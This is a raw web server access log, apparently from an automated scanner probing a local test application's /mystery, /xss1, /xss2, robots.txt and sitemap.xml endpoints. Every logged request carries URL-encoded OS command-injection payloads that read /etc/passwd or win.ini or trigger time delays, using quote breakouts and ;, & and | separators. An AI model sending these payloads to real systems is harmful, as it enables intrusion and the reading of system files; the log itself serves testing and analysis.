172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%26sleep+15%26 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bsleep+15%3B HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%26sleep+15%26%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%26sleep+15%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%3Bsleep+15%3B%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%3Bsleep+15%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%26sleep+%7B0%7D%26 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%26sleep+15%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bsleep+%7B0%7D%3B HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%3Bsleep+15%3B%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%26sleep+%7B0%7D%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%3Bsleep+%7B0%7D%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%26timeout+%2FT+15 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%7Ctimeout+%2FT+15 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%26timeout+%2FT+15%26%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%26timeout+%2FT+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%7Ctimeout+%2FT+15 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%7Ctimeout+%2FT+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%26timeout+%2FT+15%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%7Ctimeout+%2FT+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bget-help HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%3Bget-help HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27%3Bget-help HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%3Bget-help HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bget-help+%23 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%22%3Bget-help HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bstart-sleep+-s+15 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /robots.txt?query=query%27%3Bget-help HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22%3Bstart-sleep+-s+15 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /robots.txt?query=query%3Bget-help+%23 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /robots.txt?query=query%3Bstart-sleep+-s+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bstart-sleep+-s+15+%23 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /robots.txt?query=query%22%3Bstart-sleep+-s+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /robots.txt?query=query%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /robots.txt?query=query%3Bstart-sleep+-s+15+%23 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%26cat+%2Fetc%2Fpasswd%26&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%26sleep+15%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bcat+%2Fetc%2Fpasswd%3B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bsleep+15%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%26cat+%2Fetc%2Fpasswd%26%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%3Bcat+%2Fetc%2Fpasswd%3B%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%26sleep+15%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%27%26cat+%2Fetc%2Fpasswd%26%27&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%3Bsleep+15%3B%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%27%3Bcat+%2Fetc%2Fpasswd%3B%27&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%26sleep+%7B0%7D%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%26sleep+15%26&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bsleep+%7B0%7D%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bsleep+15%3B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%26sleep+15%26%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%3Bsleep+15%3B%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%26sleep+%7B0%7D%26&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bsleep+%7B0%7D%3B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%26type+%25SYSTEMROOT%25%5Cwin.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%26timeout+%2FT+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%7Ctimeout+%2FT+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%26timeout+%2FT+15%26%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%7Ctimeout+%2FT+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%26timeout+%2FT+15&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%7Ctimeout+%2FT+15&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bget-help HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%3Bget-help HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%26timeout+%2FT+15%26%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%27%3Bget-help HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%7Ctimeout+%2FT+15&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%26timeout+%2FT+%7B0%7D%26&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bget-help+%23 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bstart-sleep+-s+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%7Ctimeout+%2FT+%7B0%7D&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%22%3Bstart-sleep+-s+15 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bget-help&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%3Bget-help&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /sitemap.xml?query=query%3Bstart-sleep+-s+15+%23 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%27%3Bget-help&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bget-help+%23&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bstart-sleep+-s+15&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%22%3Bstart-sleep+-s+15&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bstart-sleep+-s+%7B0%7D&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k%3Bstart-sleep+-s+15+%23&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%26sleep+15%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bsleep+15%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%26sleep+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%3Bsleep+15%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%26sleep+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bsleep+%7B0%7D%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%26cat+%2Fetc%2Fpasswd%26&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bcat+%2Fetc%2Fpasswd%3B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%26cat+%2Fetc%2Fpasswd%26%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%3Bcat+%2Fetc%2Fpasswd%3B%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%27%26cat+%2Fetc%2Fpasswd%26%27&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%27%3Bcat+%2Fetc%2Fpasswd%3B%27&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%26timeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%26sleep+15%26&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%26timeout+%2FT+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bsleep+15%3B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%26sleep+15%26%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%3Bsleep+15%3B%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%27%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%26sleep+%7B0%7D%26&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bget-help+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%22%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bsleep+%7B0%7D%3B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%26type+%25SYSTEMROOT%25%5Cwin.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss1?a=k&name=Thor%3Bstart-sleep+-s+15+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%26timeout+%2FT+15&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%7Ctimeout+%2FT+15&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%26timeout+%2FT+15%26%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%7Ctimeout+%2FT+15&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%26timeout+%2FT+%7B0%7D%26&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%7Ctimeout+%2FT+%7B0%7D&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bget-help&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%3Bget-help&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%27%3Bget-help&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bget-help+%23&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bstart-sleep+-s+15&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%22%3Bstart-sleep+-s+15&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bstart-sleep+-s+%7B0%7D&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k%3Bstart-sleep+-s+15+%23&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 200 -
